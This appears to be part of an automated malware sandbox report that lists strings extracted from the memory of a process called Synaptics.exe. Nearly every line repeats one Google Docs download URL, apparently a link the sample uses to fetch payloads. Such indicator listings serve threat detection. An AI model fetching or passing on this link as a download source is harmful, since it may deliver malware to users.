Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4T
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5)
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5.
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6/
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6i
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7%
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7-
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download75
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7c
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8.
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005B0E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9i
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:%
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:-
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:5
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:9~EN
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;t
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=/
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?l
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB/
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBm
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F955000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCo
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCom
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCompa
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD%
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD-
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD5
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDG
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDT
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE)
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEN
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEt
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF-
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFPKGY
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFhO
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG$
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG9
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGc
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHt
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLjE
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM.
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMu
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005B0E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNiG
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO-
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO5
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPTm
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ:Q
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQip
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR5
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSc
Source: Synaptics.exe, 0000000C.00000002.1884531817.0000000007400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSec-Ca
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSt
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadThe
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTk
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU(
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU/
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVox
